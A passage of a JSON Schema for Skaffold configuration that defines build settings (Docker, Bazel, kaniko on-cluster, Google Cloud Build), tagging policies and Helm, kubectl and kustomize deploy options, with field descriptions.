run.\",\n \"x-intellij-html-description\": \"<code>bazel build</code> target to run.\",\n \"examples\": [\n \"//:skaffold_example.tar\"\n ]\n }\n },\n \"preferredOrder\": [\n \"target\",\n \"args\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* describes an artifact built with [Bazel](https://bazel.build/).\",\n \"x-intellij-html-description\": \"<em>beta</em> describes an artifact built with <a href=\\\"https://bazel.build/\\\">Bazel</a>.\"\n },\n \"BuildConfig\": {\n \"anyOf\": [\n {\n \"properties\": {\n \"artifacts\": {\n \"items\": {\n \"$ref\": \"#/definitions/Artifact\"\n },\n \"type\": \"array\",\n \"description\": \"the images you're going to be building.\",\n \"x-intellij-html-description\": \"the images you're going to be building.\"\n },\n \"insecureRegistries\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"a list of registries declared by the user to be insecure. These registries will be connected to via HTTP instead of HTTPS.\",\n \"x-intellij-html-description\": \"a list of registries declared by the user to be insecure. These registries will be connected to via HTTP instead of HTTPS.\",\n \"default\": \"[]\"\n },\n \"tagPolicy\": {\n \"$ref\": \"#/definitions/TagPolicy\",\n \"description\": \"*beta* determines how images are tagged. A few strategies are provided here, although you most likely won't need to care! If not specified, it defaults to `gitCommit: {variant: Tags}`.\",\n \"x-intellij-html-description\": \"<em>beta</em> determines how images are tagged. A few strategies are provided here, although you most likely won't need to care! If not specified, it defaults to <code>gitCommit: {variant: Tags}</code>.\"\n }\n },\n \"preferredOrder\": [\n \"artifacts\",\n \"insecureRegistries\",\n \"tagPolicy\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"artifacts\": {\n \"items\": {\n \"$ref\": \"#/definitions/Artifact\"\n },\n \"type\": \"array\",\n \"description\": \"the images you're going to be building.\",\n \"x-intellij-html-description\": \"the images you're going to be building.\"\n },\n \"insecureRegistries\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"a list of registries declared by the user to be insecure. These registries will be connected to via HTTP instead of HTTPS.\",\n \"x-intellij-html-description\": \"a list of registries declared by the user to be insecure. These registries will be connected to via HTTP instead of HTTPS.\",\n \"default\": \"[]\"\n },\n \"local\": {\n \"$ref\": \"#/definitions/LocalBuild\",\n \"description\": \"*beta* describes how to do a build on the local docker daemon and optionally push to a repository.\",\n \"x-intellij-html-description\": \"<em>beta</em> describes how to do a build on the local docker daemon and optionally push to a repository.\"\n },\n \"tagPolicy\": {\n \"$ref\": \"#/definitions/TagPolicy\",\n \"description\": \"*beta* determines how images are tagged. A few strategies are provided here, although you most likely won't need to care! If not specified, it defaults to `gitCommit: {variant: Tags}`.\",\n \"x-intellij-html-description\": \"<em>beta</em> determines how images are tagged. A few strategies are provided here, although you most likely won't need to care! If not specified, it defaults to <code>gitCommit: {variant: Tags}</code>.\"\n }\n },\n \"preferredOrder\": [\n \"artifacts\",\n \"insecureRegistries\",\n \"tagPolicy\",\n \"local\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"artifacts\": {\n \"items\": {\n \"$ref\": \"#/definitions/Artifact\"\n },\n \"type\": \"array\",\n \"description\": \"the images you're going to be building.\",\n \"x-intellij-html-description\": \"the images you're going to be building.\"\n },\n \"googleCloudBuild\": {\n \"$ref\": \"#/definitions/GoogleCloudBuild\",\n \"description\": \"*beta* describes how to do a remote build on [Google Cloud Build](https://cloud.google.com/cloud-build/).\",\n \"x-intellij-html-description\": \"<em>beta</em> describes how to do a remote build on <a href=\\\"https://cloud.google.com/cloud-build/\\\">Google Cloud Build</a>.\"\n },\n \"insecureRegistries\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"a list of registries declared by the user to be insecure. These registries will be connected to via HTTP instead of HTTPS.\",\n \"x-intellij-html-description\": \"a list of registries declared by the user to be insecure. These registries will be connected to via HTTP instead of HTTPS.\",\n \"default\": \"[]\"\n },\n \"tagPolicy\": {\n \"$ref\": \"#/definitions/TagPolicy\",\n \"description\": \"*beta* determines how images are tagged. A few strategies are provided here, although you most likely won't need to care! If not specified, it defaults to `gitCommit: {variant: Tags}`.\",\n \"x-intellij-html-description\": \"<em>beta</em> determines how images are tagged. A few strategies are provided here, although you most likely won't need to care! If not specified, it defaults to <code>gitCommit: {variant: Tags}</code>.\"\n }\n },\n \"preferredOrder\": [\n \"artifacts\",\n \"insecureRegistries\",\n \"tagPolicy\",\n \"googleCloudBuild\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"artifacts\": {\n \"items\": {\n \"$ref\": \"#/definitions/Artifact\"\n },\n \"type\": \"array\",\n \"description\": \"the images you're going to be building.\",\n \"x-intellij-html-description\": \"the images you're going to be building.\"\n },\n \"cluster\": {\n \"$ref\": \"#/definitions/ClusterDetails\",\n \"description\": \"*beta* describes how to do an on-cluster build.\",\n \"x-intellij-html-description\": \"<em>beta</em> describes how to do an on-cluster build.\"\n },\n \"insecureRegistries\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"a list of registries declared by the user to be insecure. These registries will be connected to via HTTP instead of HTTPS.\",\n \"x-intellij-html-description\": \"a list of registries declared by the user to be insecure. These registries will be connected to via HTTP instead of HTTPS.\",\n \"default\": \"[]\"\n },\n \"tagPolicy\": {\n \"$ref\": \"#/definitions/TagPolicy\",\n \"description\": \"*beta* determines how images are tagged. A few strategies are provided here, although you most likely won't need to care! If not specified, it defaults to `gitCommit: {variant: Tags}`.\",\n \"x-intellij-html-description\": \"<em>beta</em> determines how images are tagged. A few strategies are provided here, although you most likely won't need to care! If not specified, it defaults to <code>gitCommit: {variant: Tags}</code>.\"\n }\n },\n \"preferredOrder\": [\n \"artifacts\",\n \"insecureRegistries\",\n \"tagPolicy\",\n \"cluster\"\n ],\n \"additionalProperties\": false\n }\n ],\n \"description\": \"contains all the configuration for the build steps.\",\n \"x-intellij-html-description\": \"contains all the configuration for the build steps.\"\n },\n \"ClusterDetails\": {\n \"properties\": {\n \"HTTPS_PROXY\": {\n \"type\": \"string\",\n \"description\": \"for kaniko pod.\",\n \"x-intellij-html-description\": \"for kaniko pod.\"\n },\n \"HTTP_PROXY\": {\n \"type\": \"string\",\n \"description\": \"for kaniko pod.\",\n \"x-intellij-html-description\": \"for kaniko pod.\"\n },\n \"concurrency\": {\n \"type\": \"integer\",\n \"description\": \"how many artifacts can be built concurrently. 0 means \\\"no-limit\\\" Defaults to 0.\",\n \"x-intellij-html-description\": \"how many artifacts can be built concurrently. 0 means &quot;no-limit&quot; Defaults to 0.\"\n },\n \"dockerConfig\": {\n \"$ref\": \"#/definitions/DockerConfig\",\n \"description\": \"describes how to mount the local Docker configuration into a pod.\",\n \"x-intellij-html-description\": \"describes how to mount the local Docker configuration into a pod.\"\n },\n \"namespace\": {\n \"type\": \"string\",\n \"description\": \"Kubernetes namespace. Defaults to current namespace in Kubernetes configuration.\",\n \"x-intellij-html-description\": \"Kubernetes namespace. Defaults to current namespace in Kubernetes configuration.\"\n },\n \"pullSecret\": {\n \"type\": \"string\",\n \"description\": \"path to the Google Cloud service account secret key file.\",\n \"x-intellij-html-description\": \"path to the Google Cloud service account secret key file.\"\n },\n \"pullSecretName\": {\n \"type\": \"string\",\n \"description\": \"name of the Kubernetes secret for pulling the files from the build context and pushing the final image. If given, the secret needs to contain the Google Cloud service account secret key under the key `kaniko-secret`.\",\n \"x-intellij-html-description\": \"name of the Kubernetes secret for pulling the files from the build context and pushing the final image. If given, the secret needs to contain the Google Cloud service account secret key under the key <code>kaniko-secret</code>.\",\n \"default\": \"kaniko-secret\"\n },\n \"resources\": {\n \"$ref\": \"#/definitions/ResourceRequirements\",\n \"description\": \"define the resource requirements for the kaniko pod.\",\n \"x-intellij-html-description\": \"define the resource requirements for the kaniko pod.\"\n },\n \"timeout\": {\n \"type\": \"string\",\n \"description\": \"amount of time (in seconds) that this build is allowed to run. Defaults to 20 minutes (`20m`).\",\n \"x-intellij-html-description\": \"amount of time (in seconds) that this build is allowed to run. Defaults to 20 minutes (<code>20m</code>).\"\n }\n },\n \"preferredOrder\": [\n \"HTTP_PROXY\",\n \"HTTPS_PROXY\",\n \"pullSecret\",\n \"pullSecretName\",\n \"namespace\",\n \"timeout\",\n \"dockerConfig\",\n \"resources\",\n \"concurrency\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* describes how to do an on-cluster build.\",\n \"x-intellij-html-description\": \"<em>beta</em> describes how to do an on-cluster build.\"\n },\n \"CustomArtifact\": {\n \"properties\": {\n \"buildCommand\": {\n \"type\": \"string\",\n \"description\": \"command executed to build the image.\",\n \"x-intellij-html-description\": \"command executed to build the image.\"\n },\n \"dependencies\": {\n \"$ref\": \"#/definitions/CustomDependencies\",\n \"description\": \"file dependencies that skaffold should watch for both rebuilding and file syncing for this artifact.\",\n \"x-intellij-html-description\": \"file dependencies that skaffold should watch for both rebuilding and file syncing for this artifact.\"\n }\n },\n \"preferredOrder\": [\n \"buildCommand\",\n \"dependencies\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*alpha* describes an artifact built from a custom build script written by the user. It can be used to build images with builders that aren't directly integrated with skaffold.\",\n \"x-intellij-html-description\": \"<em>alpha</em> describes an artifact built from a custom build script written by the user. It can be used to build images with builders that aren't directly integrated with skaffold.\"\n },\n \"CustomDependencies\": {\n \"properties\": {\n \"command\": {\n \"type\": \"string\",\n \"description\": \"represents a custom command that skaffold executes to obtain dependencies. The output of this command *must* be a valid JSON array.\",\n \"x-intellij-html-description\": \"represents a custom command that skaffold executes to obtain dependencies. The output of this command <em>must</em> be a valid JSON array.\"\n },\n \"dockerfile\": {\n \"$ref\": \"#/definitions/DockerfileDependency\",\n \"description\": \"should be set if the artifact is built from a Dockerfile, from which skaffold can determine dependencies.\",\n \"x-intellij-html-description\": \"should be set if the artifact is built from a Dockerfile, from which skaffold can determine dependencies.\"\n },\n \"ignore\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"specifies the paths that should be ignored by skaffold's file watcher. If a file exists in both `paths` and in `ignore`, it will be ignored, and will be excluded from both rebuilds and file synchronization. Will only work in conjunction with `paths`.\",\n \"x-intellij-html-description\": \"specifies the paths that should be ignored by skaffold's file watcher. If a file exists in both <code>paths</code> and in <code>ignore</code>, it will be ignored, and will be excluded from both rebuilds and file synchronization. Will only work in conjunction with <code>paths</code>.\",\n \"default\": \"[]\"\n },\n \"paths\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"should be set to the file dependencies for this artifact, so that the skaffold file watcher knows when to rebuild and perform file synchronization.\",\n \"x-intellij-html-description\": \"should be set to the file dependencies for this artifact, so that the skaffold file watcher knows when to rebuild and perform file synchronization.\",\n \"default\": \"[]\"\n }\n },\n \"preferredOrder\": [\n \"dockerfile\",\n \"command\",\n \"paths\",\n \"ignore\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*alpha* used to specify dependencies for an artifact built by a custom build script. Either `dockerfile` or `paths` should be specified for file watching to work as expected.\",\n \"x-intellij-html-description\": \"<em>alpha</em> used to specify dependencies for an artifact built by a custom build script. Either <code>dockerfile</code> or <code>paths</code> should be specified for file watching to work as expected.\"\n },\n \"DateTimeTagger\": {\n \"properties\": {\n \"format\": {\n \"type\": \"string\",\n \"description\": \"formats the date and time. See [#Time.Format](https://golang.org/pkg/time/#Time.Format).\",\n \"x-intellij-html-description\": \"formats the date and time. See <a href=\\\"https://golang.org/pkg/time/#Time.Format\\\">#Time.Format</a>.\",\n \"default\": \"2006-01-02_15-04-05.999_MST\"\n },\n \"timezone\": {\n \"type\": \"string\",\n \"description\": \"sets the timezone for the date and time. See [Time.LoadLocation](https://golang.org/pkg/time/#Time.LoadLocation). Defaults to the local timezone.\",\n \"x-intellij-html-description\": \"sets the timezone for the date and time. See <a href=\\\"https://golang.org/pkg/time/#Time.LoadLocation\\\">Time.LoadLocation</a>. Defaults to the local timezone.\"\n }\n },\n \"preferredOrder\": [\n \"format\",\n \"timezone\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* tags images with the build timestamp.\",\n \"x-intellij-html-description\": \"<em>beta</em> tags images with the build timestamp.\"\n },\n \"DeployConfig\": {\n \"anyOf\": [\n {\n \"properties\": {\n \"statusCheckDeadlineSeconds\": {\n \"type\": \"integer\",\n \"description\": \"*beta* deadline for deployments to stabilize in seconds.\",\n \"x-intellij-html-description\": \"<em>beta</em> deadline for deployments to stabilize in seconds.\"\n }\n },\n \"preferredOrder\": [\n \"statusCheckDeadlineSeconds\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"helm\": {\n \"$ref\": \"#/definitions/HelmDeploy\",\n \"description\": \"*beta* uses the `helm` CLI to apply the charts to the cluster.\",\n \"x-intellij-html-description\": \"<em>beta</em> uses the <code>helm</code> CLI to apply the charts to the cluster.\"\n },\n \"statusCheckDeadlineSeconds\": {\n \"type\": \"integer\",\n \"description\": \"*beta* deadline for deployments to stabilize in seconds.\",\n \"x-intellij-html-description\": \"<em>beta</em> deadline for deployments to stabilize in seconds.\"\n }\n },\n \"preferredOrder\": [\n \"statusCheckDeadlineSeconds\",\n \"helm\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"kubectl\": {\n \"$ref\": \"#/definitions/KubectlDeploy\",\n \"description\": \"*beta* uses a client side `kubectl apply` to deploy manifests. You'll need a `kubectl` CLI version installed that's compatible with your cluster.\",\n \"x-intellij-html-description\": \"<em>beta</em> uses a client side <code>kubectl apply</code> to deploy manifests. You'll need a <code>kubectl</code> CLI version installed that's compatible with your cluster.\"\n },\n \"statusCheckDeadlineSeconds\": {\n \"type\": \"integer\",\n \"description\": \"*beta* deadline for deployments to stabilize in seconds.\",\n \"x-intellij-html-description\": \"<em>beta</em> deadline for deployments to stabilize in seconds.\"\n }\n },\n \"preferredOrder\": [\n \"statusCheckDeadlineSeconds\",\n \"kubectl\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"kustomize\": {\n \"$ref\": \"#/definitions/KustomizeDeploy\",\n \"description\": \"*beta* uses the `kustomize` CLI to \\\"patch\\\" a deployment for a target environment.\",\n \"x-intellij-html-description\": \"<em>beta</em> uses the <code>kustomize</code> CLI to &quot;patch&quot; a deployment for a target environment.\"\n },\n \"statusCheckDeadlineSeconds\": {\n \"type\": \"integer\",\n \"description\": \"*beta* deadline for deployments to stabilize in seconds.\",\n \"x-intellij-html-description\": \"<em>beta</em> deadline for deployments to stabilize in seconds.\"\n }\n },\n \"preferredOrder\": [\n \"statusCheckDeadlineSeconds\",\n \"kustomize\"\n ],\n \"additionalProperties\": false\n }\n ],\n \"description\": \"contains all the configuration needed by the deploy steps.\",\n \"x-intellij-html-description\": \"contains all the configuration needed by the deploy steps.\"\n },\n \"DockerArtifact\": {\n \"properties\": {\n \"buildArgs\": {\n \"additionalProperties\": {\n \"type\": \"string\"\n },\n \"type\": \"object\",\n \"description\": \"arguments passed to the docker build.\",\n \"x-intellij-html-description\": \"arguments passed to the docker build.\",\n \"default\": \"{}\",\n \"examples\": [\n \"{\\\"key1\\\": \\\"value1\\\", \\\"key2\\\": \\\"value2\\\"}\"\n ]\n },\n \"cacheFrom\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"the Docker images used as cache sources.\",\n \"x-intellij-html-description\": \"the Docker images used as cache sources.\",\n \"default\": \"[]\",\n \"examples\": [\n \"[\\\"golang:1.10.1-alpine3.7\\\", \\\"alpine:3.7\\\"]\"\n ]\n },\n \"dockerfile\": {\n \"type\": \"string\",\n \"description\": \"locates the Dockerfile relative to workspace.\",\n \"x-intellij-html-description\": \"locates the Dockerfile relative to workspace.\",\n \"default\": \"Dockerfile\"\n },\n \"network\": {\n \"type\": \"string\",\n \"description\": \"passed through to docker and overrides the network configuration of docker builder. If unset, use whatever is configured in the underlying docker daemon. Valid modes are `host`: use the host's networking stack. `bridge`: use the bridged network configuration. `none`: no networking in the container.\",\n \"x-intellij-html-description\": \"passed through to docker and overrides the network configuration of docker builder. If unset, use whatever is configured in the underlying docker daemon. Valid modes are <code>host</code>: use the host's networking stack. <code>bridge</code>: use the bridged network configuration. <code>none</code>: no networking in the container.\",\n \"enum\": [\n \"host\",\n \"bridge\",\n \"none\"\n ]\n },\n \"noCache\": {\n \"type\": \"boolean\",\n \"description\": \"used to pass in --no-cache to docker build to prevent caching.\",\n \"x-intellij-html-description\": \"used to pass in --no-cache to docker build to prevent caching.\",\n \"default\": \"false\"\n },\n \"target\": {\n \"type\": \"string\",\n \"description\": \"Dockerfile target name to build.\",\n \"x-intellij-html-description\": \"Dockerfile target name to build.\"\n }\n },\n \"preferredOrder\": [\n \"dockerfile\",\n \"target\",\n \"buildArgs\",\n \"network\",\n \"cacheFrom\",\n \"noCache\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* describes an artifact built from a Dockerfile, usually using `docker build`.\",\n \"x-intellij-html-description\": \"<em>beta</em> describes an artifact built from a Dockerfile, usually using <code>docker build</code>.\"\n },\n \"DockerConfig\": {\n \"properties\": {\n \"path\": {\n \"type\": \"string\",\n \"description\": \"path to the docker `config.json`.\",\n \"x-intellij-html-description\": \"path to the docker <code>config.json</code>.\"\n },\n \"secretName\": {\n \"type\": \"string\",\n \"description\": \"Kubernetes secret that contains the `config.json` Docker configuration. Note that the expected secret type is not 'kubernetes.io/dockerconfigjson' but 'Opaque'.\",\n \"x-intellij-html-description\": \"Kubernetes secret that contains the <code>config.json</code> Docker configuration. Note that the expected secret type is not 'kubernetes.io/dockerconfigjson' but 'Opaque'.\"\n }\n },\n \"preferredOrder\": [\n \"path\",\n \"secretName\"\n ],\n \"additionalProperties\": false,\n \"description\": \"contains information about the docker `config.json` to mount.\",\n \"x-intellij-html-description\": \"contains information about the docker <code>config.json</code> to mount.\"\n },\n \"DockerfileDependency\": {\n \"properties\": {\n \"buildArgs\": {\n \"additionalProperties\": {\n \"type\": \"string\"\n },\n \"type\": \"object\",\n \"description\": \"arguments passed to the docker build. It also accepts environment variables via the go template syntax.\",\n \"x-intellij-html-description\": \"arguments passed to the docker build. It also accepts environment variables via the go template syntax.\",\n \"default\": \"{}\",\n \"examples\": [\n \"{\\\"key1\\\": \\\"value1\\\", \\\"key2\\\": \\\"value2\\\", \\\"key3\\\": \\\"{{.ENV_VARIABLE}}\\\"}\"\n ]\n },\n \"path\": {\n \"type\": \"string\",\n \"description\": \"locates the Dockerfile relative to workspace.\",\n \"x-intellij-html-description\": \"locates the Dockerfile relative to workspace.\"\n }\n },\n \"preferredOrder\": [\n \"path\",\n \"buildArgs\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*alpha* used to specify a custom build artifact that is built from a Dockerfile. This allows skaffold to determine dependencies from the Dockerfile.\",\n \"x-intellij-html-description\": \"<em>alpha</em> used to specify a custom build artifact that is built from a Dockerfile. This allows skaffold to determine dependencies from the Dockerfile.\"\n },\n \"EnvTemplateTagger\": {\n \"required\": [\n \"template\"\n ],\n \"properties\": {\n \"template\": {\n \"type\": \"string\",\n \"description\": \"used to produce the image name and tag. See golang [text/template](https://golang.org/pkg/text/template/). The template is executed against the current environment, with those variables injected: IMAGE_NAME | Name of the image being built, as supplied in the artifacts section.\",\n \"x-intellij-html-description\": \"used to produce the image name and tag. See golang <a href=\\\"https://golang.org/pkg/text/template/\\\">text/template</a>. The template is executed against the current environment, with those variables injected: IMAGE_NAME | Name of the image being built, as supplied in the artifacts section.\",\n \"examples\": [\n \"{{.RELEASE}}-{{.IMAGE_NAME}}\"\n ]\n }\n },\n \"preferredOrder\": [\n \"template\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* tags images with a configurable template string.\",\n \"x-intellij-html-description\": \"<em>beta</em> tags images with a configurable template string.\"\n },\n \"GitTagger\": {\n \"properties\": {\n \"variant\": {\n \"type\": \"string\",\n \"description\": \"determines the behavior of the git tagger. Valid variants are `Tags` (default): use git tags or fall back to abbreviated commit hash. `CommitSha`: use the full git commit sha. `AbbrevCommitSha`: use the abbreviated git commit sha. `TreeSha`: use the full tree hash of the artifact workingdir. `AbbrevTreeSha`: use the abbreviated tree hash of the artifact workingdir.\",\n \"x-intellij-html-description\": \"determines the behavior of the git tagger. Valid variants are <code>Tags</code> (default): use git tags or fall back to abbreviated commit hash. <code>CommitSha</code>: use the full git commit sha. <code>AbbrevCommitSha</code>: use the abbreviated git commit sha. <code>TreeSha</code>: use the full tree hash of the artifact workingdir. <code>AbbrevTreeSha</code>: use the abbreviated tree hash of the artifact workingdir.\",\n \"enum\": [\n \"Tags\",\n \"CommitSha\",\n \"AbbrevCommitSha\",\n \"TreeSha\",\n \"AbbrevTreeSha\"\n ]\n }\n },\n \"preferredOrder\": [\n \"variant\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* tags images with the git tag or commit of the artifact's workspace.\",\n \"x-intellij-html-description\": \"<em>beta</em> tags images with the git tag or commit of the artifact's workspace.\"\n },\n \"GoogleCloudBuild\": {\n \"properties\": {\n \"concurrency\": {\n \"type\": \"integer\",\n \"description\": \"how many artifacts can be built concurrently. 0 means \\\"no-limit\\\" Defaults to 0.\",\n \"x-intellij-html-description\": \"how many artifacts can be built concurrently. 0 means &quot;no-limit&quot; Defaults to 0.\"\n },\n \"diskSizeGb\": {\n \"type\": \"integer\",\n \"description\": \"disk size of the VM that runs the build. See [Cloud Build Reference](https://cloud.google.com/cloud-build/docs/api/reference/rest/v1/projects.builds#buildoptions).\",\n \"x-intellij-html-description\": \"disk size of the VM that runs the build. See <a href=\\\"https://cloud.google.com/cloud-build/docs/api/reference/rest/v1/projects.builds#buildoptions\\\">Cloud Build Reference</a>.\"\n },\n \"dockerImage\": {\n \"type\": \"string\",\n \"description\": \"image that runs a Docker build. See [Cloud Builders](https://cloud.google.com/cloud-build/docs/cloud-builders).\",\n \"x-intellij-html-description\": \"image that runs a Docker build. See <a href=\\\"https://cloud.google.com/cloud-build/docs/cloud-builders\\\">Cloud Builders</a>.\",\n \"default\": \"gcr.io/cloud-builders/docker\"\n },\n \"gradleImage\": {\n \"type\": \"string\",\n \"description\": \"image that runs a Gradle build. See [Cloud Builders](https://cloud.google.com/cloud-build/docs/cloud-builders).\",\n \"x-intellij-html-description\": \"image that runs a Gradle build. See <a href=\\\"https://cloud.google.com/cloud-build/docs/cloud-builders\\\">Cloud Builders</a>.\",\n \"default\": \"gcr.io/cloud-builders/gradle\"\n },\n \"kanikoImage\": {\n \"type\": \"string\",\n \"description\": \"image that runs a Kaniko build. See [Cloud Builders](https://cloud.google.com/cloud-build/docs/cloud-builders).\",\n \"x-intellij-html-description\": \"image that runs a Kaniko build. See <a href=\\\"https://cloud.google.com/cloud-build/docs/cloud-builders\\\">Cloud Builders</a>.\",\n \"default\": \"gcr.io/kaniko-project/executor\"\n },\n \"machineType\": {\n \"type\": \"string\",\n \"description\": \"type of the VM that runs the build. See [Cloud Build Reference](https://cloud.google.com/cloud-build/docs/api/reference/rest/v1/projects.builds#buildoptions).\",\n \"x-intellij-html-description\": \"type of the VM that runs the build. See <a href=\\\"https://cloud.google.com/cloud-build/docs/api/reference/rest/v1/projects.builds#buildoptions\\\">Cloud Build Reference</a>.\"\n },\n \"mavenImage\": {\n \"type\": \"string\",\n \"description\": \"image that runs a Maven build. See [Cloud Builders](https://cloud.google.com/cloud-build/docs/cloud-builders).\",\n \"x-intellij-html-description\": \"image that runs a Maven build. See <a href=\\\"https://cloud.google.com/cloud-build/docs/cloud-builders\\\">Cloud Builders</a>.\",\n \"default\": \"gcr.io/cloud-builders/mvn\"\n },\n \"projectId\": {\n \"type\": \"string\",\n \"description\": \"ID of your Cloud Platform Project. If it is not provided, Skaffold will guess it from the image name. For example, given the artifact image name `gcr.io/myproject/image`, Skaffold will use the `myproject` GCP project.\",\n \"x-intellij-html-description\": \"ID of your Cloud Platform Project. If it is not provided, Skaffold will guess it from the image name. For example, given the artifact image name <code>gcr.io/myproject/image</code>, Skaffold will use the <code>myproject</code> GCP project.\"\n },\n \"timeout\": {\n \"type\": \"string\",\n \"description\": \"amount of time (in seconds) that this build should be allowed to run. See [Cloud Build Reference](https://cloud.google.com/cloud-build/docs/api/reference/rest/v1/projects.builds#resource-build).\",\n \"x-intellij-html-description\": \"amount of time (in seconds) that this build should be allowed to run. See <a href=\\\"https://cloud.google.com/cloud-build/docs/api/reference/rest/v1/projects.builds#resource-build\\\">Cloud Build Reference</a>.\"\n }\n },\n \"preferredOrder\": [\n \"projectId\",\n \"diskSizeGb\",\n \"machineType\",\n \"timeout\",\n \"dockerImage\",\n \"kanikoImage\",\n \"mavenImage\",\n \"gradleImage\",\n \"concurrency\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* describes how to do a remote build on [Google Cloud Build](https://cloud.google.com/cloud-build/docs/). Docker and Jib artifacts can be built on Cloud Build. The `projectId` needs to be provided and the currently logged in user should be given permissions to trigger new builds.\",\n \"x-intellij-html-description\": \"<em>beta</em> describes how to do a remote build on <a href=\\\"https://cloud.google.com/cloud-build/docs/\\\">Google Cloud Build</a>. Docker and Jib artifacts can be built on Cloud Build. The <code>projectId</code> needs to be provided and the currently logged in user should be given permissions to trigger new builds.\"\n },\n \"HelmConventionConfig\": {\n \"properties\": {\n \"explicitRegistry\": {\n \"type\": \"boolean\",\n \"description\": \"separates `image.registry` to the image config syntax. Useful for some charts e.g. `postgresql`.\",\n \"x-intellij-html-description\": \"separates <code>image.registry</code> to the image config syntax. Useful for some charts e.g. <code>postgresql</code>.\",\n \"default\": \"false\"\n }\n },\n \"preferredOrder\": [\n \"explicitRegistry\"\n ],\n \"additionalProperties\": false,\n \"description\": \"image config in the syntax of image.repository and image.tag.\",\n \"x-intellij-html-description\": \"image config in the syntax of image.repository and image.tag.\"\n },\n \"HelmDeploy\": {\n \"required\": [\n \"releases\"\n ],\n \"properties\": {\n \"flags\": {\n \"$ref\": \"#/definitions/HelmDeployFlags\",\n \"description\": \"additional option flags that are passed on the command line to `helm`.\",\n \"x-intellij-html-description\": \"additional option flags that are passed on the command line to <code>helm</code>.\"\n },\n \"releases\": {\n \"items\": {\n \"$ref\": \"#/definitions/HelmRelease\"\n },\n \"type\": \"array\",\n \"description\": \"a list of Helm releases.\",\n \"x-intellij-html-description\": \"a list of Helm releases.\"\n }\n },\n \"preferredOrder\": [\n \"releases\",\n \"flags\"\n ],\n \"additionalProperties\": false,\n \"description\": \"*beta* uses the `helm` CLI to apply the charts to the cluster.\",\n \"x-intellij-html-description\": \"<em>beta</em> uses the <code>helm</code> CLI to apply the charts to the cluster.\"\n },\n \"HelmDeployFlags\": {\n \"properties\": {\n \"global\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional flags passed on every command.\",\n \"x-intellij-html-description\": \"additional flags passed on every command.\",\n \"default\": \"[]\"\n },\n \"install\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional flags passed to (`helm install`).\",\n \"x-intellij-html-description\": \"additional flags passed to (<code>helm install</code>).\",\n \"default\": \"[]\"\n },\n \"upgrade\": {\n \"items\": {\n \"type\": \"string\"\n },\n \"type\": \"array\",\n \"description\": \"additional flags passed to (`helm upgrade`).\",\n \"x-intellij-html-description\": \"additional flags passed to (<code>helm upgrade</code>).\",\n \"default\": \"[]\"\n }\n },\n \"preferredOrder\": [\n \"global\",\n \"install\",\n \"upgrade\"\n ],\n \"additionalProperties\": false,\n \"description\": \"additional option flags that are passed on the command line to `helm`.\",\n \"x-intellij-html-description\": \"additional option flags that are passed on the command line to <code>helm</code>.\"\n },\n \"HelmFQNConfig\": {\n \"properties\": {\n \"property\": {\n \"type\": \"string\",\n \"description\": \"defines the image config.\",\n \"x-intellij-html-description\": \"defines the image config.\"\n }\n },\n \"preferredOrder\": [\n \"property\"\n ],\n \"additionalProperties\": false,\n \"description\": \"image config to use the FullyQualifiedImageName as param to set.\",\n \"x-intellij-html-description\": \"image config to use the FullyQualifiedImageName as param to set.\"\n },\n \"HelmImageStrategy\": {\n \"anyOf\": [\n {\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"fqn\": {\n \"$ref\": \"#/definitions/HelmFQNConfig\",\n \"description\": \"image configuration uses the syntax `IMAGE-NAME=IMAGE-REPOSITORY:IMAGE-TAG`.\",\n \"x-intellij-html-description\": \"image configuration uses the syntax <code>IMAGE-NAME=IMAGE-REPOSITORY:IMAGE-TAG</code>.\"\n }\n },\n \"preferredOrder\": [\n \"fqn\"\n ],\n \"additionalProperties\": false\n },\n {\n \"properties\": {\n \"helm\": {\n \"$ref\": \"#/definitions/HelmConventionConfig\",\n \"description\": \"image configuration uses the syntax `IMAGE-NAME.repository=IMAGE-REPOSITORY, IMAGE-NAME.tag=IMAGE-TAG`.\",\n \"x-intellij-html-description\": \"image configuration uses the syntax <code>IMAGE-NAME.repository=IMAGE-REPOSITORY, IMAGE-NAME.tag=IMAGE-TAG</code>.\"\n }\n },\n \"preferredOrder\": [\n \"helm\"\n ],\n \"additionalProperties\": false\n }\n ],\n \"description\": \"adds image configurations to the Helm `values` file.\",\n \"x-intellij-html-description\": \"adds image configurations to the Helm <code>values</code> file.\"\n },\n \"HelmPackaged\": {\n \"properties\": {\n \"appVersion\": {\n \"type\": \"string\",\n \"description\": \"sets the `appVersion` on the chart to this version.\",\n \"x-intellij-html-description\": \"sets the <code>appVersion</code> on the chart to this version.\"\n },\n \"version\": {\n \"type\": \"string\",\n \"description\": \"sets the `version` on the chart to this semver version.\",\n \"x-intellij-html-description\": \"sets the <code>version</code> on the chart to this semver version.\"\n }\n },\n \"preferredOrder\": [\n \"version\",\n \"appVersion\"\n ],\n 